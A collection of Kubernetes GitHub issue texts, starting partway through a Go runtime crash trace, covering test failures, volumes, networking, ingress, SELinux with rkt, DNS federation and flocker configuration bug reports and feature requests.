fp=0xc820023f40 sp=0xc820023f08 runtime.gcbgmarkworker 0xc82001a000      /usr/local/go/src/runtime/mgc.go:1433 +0x25f fp=0xc820023fb8 sp=0xc820023f40 runtime.goexit       /usr/local/go/src/runtime/asm_amd64.s:1998 +0x1 fp=0xc820023fc0 sp=0xc820023fb8 created by runtime.gcbgmarkstartworkers     /usr/local/go/src/runtime/mgc.go:1330 +0x92  goroutine 1  running, locked to thread :     goroutine running on other thread; stack unavailable  goroutine 23  chan receive : k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x3388d00      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x67 created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.1     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x297  goroutine 4  syscall : os/signal.signal_recv 0x0      /usr/local/go/src/runtime/sigqueue.go:116 +0x132 os/signal.loop       /usr/local/go/src/os/signal/signal_unix.go:22 +0x18 created by os/signal.init.1     /usr/local/go/src/os/signal/signal_unix.go:28 +0x37  signal 0xb code=0x1 addr=0x60d114d0 pc=0x689f5   goroutine 35  running : runtime.throw 0x26389e0, 0x2a      /usr/local/go/src/runtime/panic.go:547 +0x90 fp=0xc82049ce10 sp=0xc82049cdf8 runtime.sigpanic       /usr/local/go/src/runtime/sigpanic_unix.go:12 +0x5a fp=0xc82049ce60 sp=0xc82049ce10 runtime/internal/atomic.load64 0x60d114d0, 0x60d114d76c16      /usr/local/go/src/runtime/internal/atomic/atomic_amd64x.go:26 +0x5 fp=0xc82049ce68 sp=0xc82049ce60 runtime.lfstackpop 0x3389020, 0x0      /usr/local/go/src/runtime/lfstack.go:38 +0x6d fp=0xc82049cea0 sp=0xc82049ce68 runtime.trygetfull 0x66, 0x3b03800      /usr/local/go/src/runtime/mgcwork.go:382 +0x23 fp=0xc82049cec0 sp=0xc82049cea0 runtime.  gcwork .init 0xc82001dc20      /usr/local/go/src/runtime/mgcwork.go:98 +0x3a fp=0xc82049ced8 sp=0xc82049cec0 runtime.  gcwork .tryget 0xc82001dc20, 0x2df33      /usr/local/go/src/runtime/mgcwork.go:141 +0x38 fp=0xc82049cf08 sp=0xc82049ced8 runtime.gcdrain 0xc82001dc20, 0x5      /usr/local/go/src/runtime/mgcmark.go:833 +0x22a fp=0xc82049cf40 sp=0xc82049cf08 runtime.gcbgmarkworker 0xc82001ca00      /usr/local/go/src/runtime/mgc.go:1435 +0x583 fp=0xc82049cfb8 sp=0xc82049cf40 runtime.goexit       /usr/local/go/src/runtime/asm_amd64.s:1998 +0x1 fp=0xc82049cfc0 sp=0xc82049cfb8 created by runtime.gcbgmarkstartworkers     /usr/local/go/src/runtime/mgc.go:1330 +0x92  signal 0xb code=0x1 addr=0x60d114d0 pc=0x689f5   goroutine 36  running : runtime.throw 0x26389e0, 0x2a      /usr/local/go/src/runtime/panic.go:547 +0x90 fp=0xc82049d610 sp=0xc82049d5f8 runtime.sigpanic       /usr/local/go/src/runtime/sigpanic_unix.go:12 +0x5a fp=0xc82049d660 sp=0xc82049d610 runtime/internal/atomic.load64 0x60d114d0, 0x60d114d76c16      /usr/local/go/src/runtime/internal/atomic/atomic_amd64x.go:26 +0x5 fp=0xc82049d668 sp=0xc82049d660 runtime.lfstackpop 0x3389020, 0x0      /usr/local/go/src/runtime/lfstack.go:38 +0x6d fp=0xc82049d6a0 sp=0xc82049d668 runtime.trygetfull 0x66, 0x3b04000      /usr/local/go/src/runtime/mgcwork.go:382 +0x23 fp=0xc82049d6c0 sp=0xc82049d6a0 runtime.  gcwork .init 0xc82001f220      /usr/local/go/src/runtime/mgcwork.go:98 +0x3a fp=0xc82049d6d8 sp=0xc82049d6c0 runtime.  gcwork .tryget 0xc82001f220, 0x2df33      /usr/local/go/src/runtime/mgcwork.go:141 +0x38 fp=0xc82049d708 sp=0xc82049d6d8 runtime.gcdrain 0xc82001f220, 0x5      /usr/local/go/src/runtime/mgcmark.go:833 +0x22a fp=0xc82049d740 sp=0xc82049d708 runtime.gcbgmarkworker 0xc82001e000      /usr/local/go/src/runtime/mgc.go:1435 +0x583 fp=0xc82049d7b8 sp=0xc82049d740 runtime.goexit       /usr/local/go/src/runtime/asm_amd64.s:1998 +0x1 fp=0xc82049d7c0 sp=0xc82049d7b8 created by runtime.gcbgmarkstartworkers     /usr/local/go/src/runtime/mgc.go:1330 +0x92  signal 0xb code=0x1 addr=0x60d114d0 pc=0x689f5   runtime stack: runtime/internal/atomic.load64 0x60d114d0, 0x60d114d76c16      /usr/local/go/src/runtime/internal/atomic/atomic_amd64x.go:26 +0x5        anything else do we need to know  : i'm also getting another error, which i've opened an so thread about  here  http://stackoverflow.com/questions/40022886/google-cloud-kubernetes-error-adding-container-to-network-no-ip-addresses-ava . perhaps the two issues are related?  _edit_: the pod has been successfully rescheduled now, although the so issue still stands.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-staging/114/  failed:  k8s.io  kubectl client  k8s.io  proxy server should support --unix-socket=/path  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 oct 24 16:15:41.201: couldn't delete ns: \ e2e-tests-kubectl-lrm2p\ : an error on the server  \ internal server error: \\\ /apis/extensions/v1beta1/namespaces/e2e-tests-kubectl-lrm2p/replicationcontrollers\\\ \   has prevented the request from succeeding  get replicationcontrollers.extensions   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /apis/extensions/v1beta1/namespaces/e2e-tests-kubectl-lrm2p/replicationcontrollers\\\\\\\ \\\   has prevented the request from succeeding  get replicationcontrollers.extensions \ , reason:\ internalerror\ , details:  unversioned.statusdetails  0xc821a7ca50 , code:500}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338

removing deprecated flags is annoying because a number of components typically aren't kept up to date when the flags are initially deprecated - and it typically falls to the person doing the removal to fix these components.\r \r off the top of my head:\r - provisioning scripts are rarely kept up to date until it's time to actually remove the flag. for an example, see  40050. i'd like to maybe have something like flags verification identify which flags are deprecated and warn us when  --{flag-name}  shows up in the repo.\r - today, core-repo tests of non-core components  thinking of kops  can fail and block prs that remove deprecated flags in the core repo  see  44230 for a recent example . this is a useful signal, but it does seem a bit backwards - shouldn't non-core components have their own testing to ensure they comply with the flags in core  master , and be on the hook for staying up to date?\r \r @justinsb thoughts? i understand having e.g. the kops test in core helps prevent us from inadvertently breaking kops, but the flags thing is really a rough edge. now that we've canonized a  deprecation policy  https://kubernetes.io/docs/home/deprecation-policy/  that includes flags, has the need for running this kind of testing in the pr builder diminished? i imagine the majority of things we could do to break kops would be poorly-managed api changes, which the deprecation policy prevents  in-theory .

we have hit on a problem more than once, where a user creates a pod but before volume could finish attaching to the node, he goes ahead and deletes the pod.\r \r such volumes aren't detached quickly enough because all attached volumes are assumed to be mounted  on attach  and hence https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/attachdetach/reconciler/reconciler.go l201 check prevents adc from attempting to detach until 6 minute expires.\r \r i am wondering, what is the purpose of following if condition is:\r \r    \r if attachedvolume.mountedbynode && !timeout {\r \t\t\t\tglog.v 12 .infof attachedvolume.generatemsgdetailed \ cannot detach volume because it is still mounted\ , \ \   \r \t\t\t\tcontinue\r \t\t\t}\r    \r \r we don't even try if  attachedvolume.mountedbynode  is set - until timeout expires. \r \r

kubectl create secret  command supports  --from-literal  and  --from-file  options. but neither options are convenient when creating secrets manually from terminal.\r \r - using -- from-literal will keep the secret in shell history.\r - using --from-file requires creating the file first and then deleting it, etc.\r \r i would like to see a flag like  --from-keys=k1,k2,k3 . given this flag is present, kubectl will ask user for input for each key and create a secret using that info. it can use something like https://github.com/howeyc/gopass to read the value without echo.\r \r  

is this a bug report or feature request?  :\r  \r   what happened  :\r \r max pod startup latency on a 100-node cluster used to be rock-steady in the 1.7 branch.\r never exceeded 2 seconds even at high percentiles.\r \r but it looks like some recent change caused a regression: there were 3 runs when the latency is 2-10 times higher than the previous maximum:\r - 4.8s: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scalability-release-1-7/465\r - 20.3s: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scalability-release-1-7/469\r - 7.3s: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scalability-release-1-7/473\r - 5s: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable1/349\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable1/478\r \r  see the attached graph.\r \r ! 1 7  https://user-images.githubusercontent.com/489420/33020191-980b6722-cdfd-11e7-95af-a9e349103339.png \r \r   anything else we need to know?  :\r \r the regression must have been introduced not long before v1.7.11-beta.0.36+fe959b1d5feb5a\r \r @kubernetes/sig-scalability-bugs \r @mwielgus - current 1.7 manager

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  maybe\r \r   what happened  :\r \r container running in this pod will exec a command then  exit , so this pod's status will be  crashloopbackoff  and it will restart periodically.\r maybe  restartcount  checking in the following steps seem like useless.\r \r    go\r // retrieves the gpu devices created in the user pod.\r // note the nvidia device plugin implementation doesn't do device id remapping currently.\r // will probably need to use nvidia-smi if that changes.\r command:   string{\ sh\ , \ -c\ , \ devs=$ ls /dev/ | egrep '^nvidia 0-9 +$'  && echo gpu devices: $devs\ },\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create a pod use the following yaml:\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: busybox\r   namespace: default\r spec:\r   containers:\r   - image: busybox\r     command:\r       - sh\r       - \ -c\ \r       - \ devs=$ ls /tmp/ | egrep '^dev- 0-9 +$'  && echo stub devices: $devs\ \r     imagepullpolicy: ifnotpresent\r     name: busybox\r    \r - check this pod status, it will be  crashloopbackoff  and it will restart periodically.\r \r   anything else we need to know?  :\r \r i am not very sure whether this is a bug, please correct me if i'm wrong.\r \r  /assign @jiayingz @vishh wdyt?\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r  \r   what happened  :\r creating a deployment with one container mounting a volume using persistent volume claim, the template includes a  persistentvolume  kind. the end result is two volumes being created and the claim being mounted to the \ generated\  one and not the one included in the template.\r \r   what you expected to happen  :\r the volume claim to bound to the volume specified in the template and not create a new volume.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  kubectl apply -f template.yml \r \r    yaml\r kind: deployment\r apiversion: extensions/v1beta1\r metadata:\r   name: neo4j\r   labels:\r     alias: neo4j\r spec:\r   selector:\r     matchlabels:\r       alias: neo4j\r   template:\r     metadata:\r       labels:\r         alias: neo4j\r     spec:\r       containers:\r       - name: neo4j\r         image: neo4j\r         ports:\r         - containerport: 7474\r         - containerport: 7687\r         volumemounts:\r         - name: neo4j-persistent-storage\r           mountpath: /data\r       volumes:\r       - name: neo4j-persistent-storage\r         persistentvolumeclaim:\r           claimname: neo4j-storage-claim\r ---\r kind: persistentvolume\r apiversion: v1\r metadata:\r   name: neo4j-data-volume\r   labels:\r     type: local\r spec:\r   persistentvolumereclaimpolicy: retain\r   capacity:\r     storage: 8gi\r   accessmodes:\r   - readwriteonce\r   hostpath:\r     path: /data/neo4j\r ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: neo4j-storage-claim\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 8gi\r    \r \r   anything else we need to know?  :\r \r the following screenshot explains the end result of applying the template.\r \r ! screen shot 2017-12-24 at 11 45 29 pm  https://user-images.githubusercontent.com/2647333/34329327-9b27ae9e-e904-11e7-9c26-c710fdde7d74.png \r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-16t03:16:50z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-11-29t22:43:34z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration:  minikube   local \r - os  e.g. from /etc/os-release : macos high sierra version 10.13.2  17c88 \r - kernel  e.g.  uname -a  :  darwin mulkave 17.3.0 darwin kernel version 17.3.0: thu nov  9 18:09:22 pst 2017; root:xnu-4570.31.3~1/release_x86_64 x86_64 \r - install tools: minikube\r - others:

  \r to run  kube-controller-manager with  --node-cidr-mask-size=29  options , then kubelet will set up a bridge which name is  cbr0  and the net mask is  29 , thus only have 5  network, gateway, broadcast  ip addresses to allocate. \r i think scheduler should't assgin pod to the node which not have enough ip addrs.\r \r err message:\r    \r networkplugin kubenet failed to set up pod \ frontend-jh0kf_default\  network: error adding container to network: no ip addresses available in network: kubenet\r    \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   \r   what happened  :\r ingress address doesn't change\r \r   what you expected to happen  :\r change ingress address in status or maybe clear it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i have 2 nginx-ingress controllers with different classes:\r   internal\r   nginx\r \r external nginx service created with default settings\r internal nginx service created with annotation:\r    service.beta.kubernetes.io/aws-load-balancer-internal=0.0.0.0/0   \r so i have an internal load balancer\r \r i create ingress with annotation:\r    kubernetes.io/ingress.class: nginx   \r \r then:\r    kubectl get ingress   \r    \r name            hosts                                 address            ports     age\r frontend        example.com                           aebb2c3fbc155...   80        2h\r    \r \r then i change annotation for ingress:\r    kubernetes.io/ingress.class: internal   \r \r and ingress status doesn't change:\r    kubectl get ingress   \r    \r name            hosts                                 address            ports     age\r frontend        example.com                           aebb2c3fbc155...   80        2h\r    \r but now my ingress is accessible via    internal    load balancer.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-08t16:31:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.8\ , gitcommit:\ c138b85178156011dc934c2c9f4837476876fb07\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t18:53:18z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r kops installation\r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r and mac os x on client\r - kernel  e.g.  uname -a  :\r    linux ip-172-20-4-224 4.4.121-k8s  1 smp sun mar 11 19:39:47 utc 2018 x86_64 gnu/linux   \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r failed to mount a local-storage volume.  stateful-set with pvc + pv + local-storage class \r first pv is at \ bound\  status with correct pvc, but deployment never ends.\r kubelet log say:  lstat /mongo/data: no such file or directory\r but /mongo/data exists on the hosts.\r \r   what you expected to happen  :\r volume should be successfully mounted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create storage class:\r  kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: local-storage\r provisioner: kubernetes.io/no-provisioner\r volumebindingmode: waitforfirstconsumer\r reclaimpolicy: retain \r \r create 3 pvs:\r  apiversion: v1\r kind: persistentvolume\r metadata:\r   name: mongo- one/two/three \r spec:\r   capacity:\r     storage: 40gi\r   accessmodes:\r   - readwriteonce\r   storageclassname: local-storage\r   local:\r     path: /mongo/data\r   nodeaffinity:\r     required:\r       nodeselectorterms:\r       - matchexpressions:\r         - key: kubernetes.io/hostname\r           operator: in\r           values:\r           -  one/two/three  \r \r create a stateful-set with 3 replicas and a pvc:  mongo-replicaset helm chart 3.8.0 \r  ...\r   volumemounts:\r     - mountpath: /data/db\r       name: datadir\r ...\r   volumeclaimtemplates:\r   - metadata:\r       creationtimestamp: null\r       name: datadir\r     spec:\r       accessmodes:\r       - readwriteonce\r       storageclassname: local-storage\r       resources:\r         requests:\r           storage: 40gi\r ... \r \r   anything else we need to know?  :\r my hosts don't have the lstat command.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.5\ , gitcommit:\ 753b2dbc622f5cc417845f0ff8a77f539a4213ea\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:31:35z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: virtual private servers. 2vcore, 8gb, 80gb\r - os  e.g. from /etc/os-release : ubuntu 16.04.5 lts\r - kernel  e.g.  uname -a  : linux vps617733 4.4.0-140-generic\r - install tools: kubernetes installed via rancher\r - others:\r \r <!-- do not edit below this line -->\r 

we right now have two different url paths in the v1 api for proxying to a pod:      /api/v1/proxy/namespaces/{namespaces}/pods/{name}/{path: } /api/v1/namespaces/{namespaces}/pods/{name}/proxy/{path: }      this is because, we're in the process of moving towards using subresources  the second url , but haven't deleted the legacy path yet  the first one .  this is to keep track of deleting the legacy proxy path.

have the master components keep their own configuration in etcd, instead of flags  e.g. ip-per-service introduces a config flag --portal_net

kubectl get componentstatus  fails when components are not running on the same host  for example when you run multiple api servers according to ha guide http://kubernetes.io/v1.1/docs/admin/high-availability.html .  i can see the problem being in  kubernetes/pkg/master/master.go  where code expects  127.0.0.1  for both controller-manager and scheduler components.      func  m  master  getserverstovalidate c  config  map string apiserver.server {     serverstovalidate := map string apiserver.server{         \ controller-manager\ : {addr: \ 127.0.0.1\ , port: ports.controllermanagerport, path: \ /healthz\ },         \ scheduler\ :          {addr: \ 127.0.0.1\ , port: ports.schedulerport, path: \ /healthz\ },     }          $kubectl version                                                                                                                                    client version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.3+6a81b50\ , gitcommit:\ 6a81b50c7e97bbe0ade075de55ab4fa34f049dc2\ , gittreestate:\ not a git tree\ } server version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.3\ , gitcommit:\ 6a81b50c7e97bbe0ade075de55ab4fa34f049dc2\ , gittreestate:\ clean\ }

i was testing the selinux support  24901 manually today by creating pods with good and bad selinux options. and when i gave the pod bad selinux options, i expected the pod to fail. however i saw the pod stuck in  containercreating  state, even though the restart policy is no.      $ cat $ cat selinuxpod    copy of pod.yaml without file extension for test apiversion: v1 kind: pod metadata:   name: busybox   labels:     name: busybox spec:   nodename: yifan-rkt-selinux-minion-164e   securitycontext:     selinuxoptions:       user: system_u       role: system_r       type: kernel_t       level: s1   containers:   - name: busybox     image: busybox     command:       - cat       - /tmp/hello     volumemounts:     - name: hello       mountpath: /tmp/hello   restartpolicy: never   volumes:   - name: hello     hostpath:       path: /tmp/hello  $ kubectl get pods --show-all name      ready     status              restarts   age busybox   0/1       containercreating   0          8m  $ kubectl get events 7m          7m         1         busybox   pod       spec.containers{busybox}   normal    created   {kubelet yifan-rkt-selinux-minion-164e}   created with rkt id 487f0158 7m          7m         1         busybox   pod       spec.containers{busybox}   normal    started   {kubelet yifan-rkt-selinux-minion-164e}   started with rkt id 487f0158 6m          6m         1         busybox   pod       spec.containers{busybox}   normal    created   {kubelet yifan-rkt-selinux-minion-164e}   created with rkt id 60158324 6m          6m         1         busybox   pod       spec.containers{busybox}   normal    started   {kubelet yifan-rkt-selinux-minion-164e}   started with rkt id 60158324 5m          5m         1         busybox   pod       spec.containers{busybox}   normal    created   {kubelet yifan-rkt-selinux-minion-164e}   created with rkt id ae4f425d 5m          5m         1         busybox   pod       spec.containers{busybox}   normal    started   {kubelet yifan-rkt-selinux-minion-164e}   started with rkt id ae4f425d 3m          3m         1         busybox   pod       spec.containers{busybox}   normal    created   {kubelet yifan-rkt-selinux-minion-164e}   created with rkt id cd0aee69 3m          3m         1         busybox   pod       spec.containers{busybox}   normal    started   {kubelet yifan-rkt-selinux-minion-164e}   started with rkt id cd0aee69 2m          2m         1         busybox   pod       spec.containers{busybox}   normal    created   {kubelet yifan-rkt-selinux-minion-164e}   created with rkt id 40d55d04 2m          2m         1         busybox   pod       spec.containers{busybox}   normal    started   {kubelet yifan-rkt-selinux-minion-164e}   started with rkt id 40d55d04 1m          1m         1         busybox   pod       spec.containers{busybox}   normal    created   {kubelet yifan-rkt-selinux-minion-164e}   created with rkt id 7cde9747 1m          1m         1         busybox   pod       spec.containers{busybox}   normal    started   {kubelet yifan-rkt-selinux-minion-164e}   started with rkt id 7cde9747 20s         20s        1         busybox   pod       spec.containers{busybox}   normal    created   {kubelet yifan-rkt-selinux-minion-164e}   created with rkt id 77cfcf96 20s         20s        1         busybox   pod       spec.containers{busybox}   normal    started   {kubelet yifan-rkt-selinux-minion-164e}   started with rkt id 77cfcf96       on the node, i saw the pod is prepared, but not running, this means the systemd fails to start it:      $ sudo /opt/rkt/rkt list uuid        app         image name                      state       created     started     networks 40d55d04    busybox         registry-1.docker.io/library/busybox:latest     prepared    4 minutes ago    60158324    busybox         registry-1.docker.io/library/busybox:latest     prepared    8 minutes ago            77cfcf96    busybox         registry-1.docker.io/library/busybox:latest     prepared    2 minutes ago             also the journal log of the service:      $ sudo systemctl cat k8s_40d55d04-9963-43b9-85b5-566cb20f701c.service   /run/systemd/system/k8s_40d55d04-9963-43b9-85b5-566cb20f701c.service  service  execstart=/opt/rkt/rkt --insecure-options=image,ondisk --local-config=/etc/rkt --system-config=/usr/lib/rkt --dir=/var/lib/rkt run-prepared --net=kuben execstoppost=/usr/bin/touch /var/lib/kubelet/pods/e9461039-132a-11e6-8403-42010af00002/finished-40d55d04-9963-43b9-85b5-566cb20f701c killmode=mixed selinuxcontext=system_u:system_r:kernel_t:s1  $ sudo journalctl -u k8s_40d55d04-9963-43b9-85b5-566cb20f701c.service -- logs begin at fri 2016-05-06 00:35:20 utc, end at fri 2016-05-06 01:47:07 utc. -- may 06 01:37:15 yifan-rkt-selinux-minion-164e systemd 1 : stopped k8s_60158324-2b07-4c46-b1c1-5d5d0d2202f9.service. may 06 01:37:15 yifan-rkt-selinux-minion-164e systemd 1 : started k8s_60158324-2b07-4c46-b1c1-5d5d0d2202f9.service. may 06 01:37:15 yifan-rkt-selinux-minion-164e systemd 1 : k8s_60158324-2b07-4c46-b1c1-5d5d0d2202f9.service: main process exited, code=exited, status=229/selinux_context may 06 01:37:15 yifan-rkt-selinux-minion-164e systemd 1 : k8s_60158324-2b07-4c46-b1c1-5d5d0d2202f9.service: control process exited, code=exited status=229 may 06 01:37:15 yifan-rkt-selinux-minion-164e systemd 1 : k8s_60158324-2b07-4c46-b1c1-5d5d0d2202f9.service: unit entered failed state. may 06 01:37:15 yifan-rkt-selinux-minion-164e systemd 1 : k8s_60158324-2b07-4c46-b1c1-5d5d0d2202f9.service: failed with result 'exit-code'.      my question is, since the restart policy is \ never\ , why i keep seeing the pods being restarted?  will dig into this further.  cc @euank @sjpotter

hi,  i've followed the guide here: http://kubernetes.io/docs/getting-started-guides/docker/ and successfully created a running setup on my machine. however, when running:      bash kubectl create -f https://rawgit.com/kubernetes/dashboard/master/src/deploy/kubernetes-dashboard.yaml      i'm getting:      error from server: namespaces \ kube-system\  not found error from server: namespaces \ kube-system\  not found      this was working with 1.2.3. is it normal for point releases to have these kinds of changes? i'm investigating using this for a real production system and so far the experience makes me recommend to not move to it.

with the current kubedns code, it can happen that a pod requests  mysvc.somens  and resolve.conf adds  myns.svc.cluster.local  as a search path so that kubedns gets  mysvc.somns.myns.svc.cluster.local . if there is a federation with the name  myns , isfederationquery in kubedns will think this is a federation query and try to resolve  mysvc.somens.svc.cluster.local . if there is a local service resolving to that dns, then user will get that as expected  all is fine . but if there isnt, then kubedns will return  mysvc.somens.myns.svc.myzone.myregion.mydomain . if there is no federation service with that name and in that namespace, then user will still get an nxdomain as expected. but if there is, then user might be pointed to a service in another cluster, which user may or may not have wanted.  we can consider this a feature, if users want it or should fix it, if we consider it a bug.  filing this to keep track.  @kubernetes/sig-cluster-federation

hello,\r \r this issue is also submitted at https://github.com/clusterhq/flocker/issues/2994 but the related component is part of this repository.\r \r i tried to install flocker with my kubernetes cluster.\r k8s version : 1.5.1\r flocker version : 1.15.0\r i have problems similar to this old issue : kubernetes/kubernetes 17651\r my nodes are on centos 7.3.\r i'm using vmware-flocker-plugin to provision the storage. everything is working as long as it doesn't deal with kubernetes.\r i tried both https://clusterhq.com/2015/12/22/ha-demo-kubernetes-flocker/ demo and https://github.com/vmware/vsphere-flocker-driver installation instructions.\r \r the problem is that kubelet cannot reach the control node because it cannot fetch the environment variables :\r flocker_control_service_host\r flocker_control_service_port\r flocker_control_service_ca_file\r flocker_control_service_client_key_file\r flocker_control_service_client_cert_file\r \r i tried every single way to pass these variables :\r \r by setting them as temporary env var with export\r by setting them into /etc/.bashrc\r by passing them into /etc/systemd/system/kubelet.service file as environment=\r by passing them into /etc/systemd/system/kubelet.service file as environmentfile=/etc/kubernetes/kubelet.env containing all variables\r unfortunately, kubelet/flocker-agent doesn't seem to get these variables.\r \r the datasetuuid for volume with datasetname='volume1' can not be found using flocker: get https://localhost:4523/v1/configuration/datasets: dial tcp 127.0.0.1:4523: getsockopt: connection refused\r this is because the https://github.com/kubernetes/kubernetes/blob/v1.5.1/pkg/volume/flocker/flocker.go\r defines default variables as :\r \r const  \r \tflockerpluginname = \ kubernetes.io/flocker\ \r \r \tdefaulthost           = \ localhost\ \r \tdefaultport           = 4523\r \tdefaultcacertfile     = \ /etc/flocker/cluster.crt\ \r \tdefaultclientkeyfile  = \ /etc/flocker/apiuser.key\ \r \tdefaultclientcertfile = \ /etc/flocker/apiuser.crt\ \r \tdefaultmountpath      = \ /flocker\ \r \r \ttimeoutwaitingforvolume = 2   time.minute\r \ttickerwaitingforvolume  = 5   time.second\r  \r \r i took the flocker.go module newclient function from kubernetes/kubernetes github to test it on my machine :\r \r package main\r \r import  \r   \ fmt\ \r   \ os\ \r  \r \r \r func getenvasstringorfallback key, defaultvalue string  string {\r         if v := os.getenv key ; v != \ \  {\r                 return v\r         }\r         return defaultvalue\r }\r \r \r \r func main   {\r         fmt.println getenvasstringorfallback \ flocker_control_service_host\ , \ default\   \r }\r \r and i get the variable :\r \r  root@k8s-storage-s3 ~   go run test.go \r 192.168.40.31\r i don't know what to do, there is only this problem left for my kubernetes to work with flocker.

is this a request for help?  :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r azure cloudprovider api nodestatus\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t20:41:24z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2+coreos.0\ , gitcommit:\ 79fee581ce4a35b7791fdd92e0fc97e02ef1d5c0\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t23:13:34z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : container linux by coreos 1353.7.0  ladybug \r -   kernel    e.g.  uname -a  : linux master-1-vm 4.9.24-coreos 1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel r  xeon r  cpu e5-2673 v3 @ 2.40ghz genuineintel gnu/linux\r -  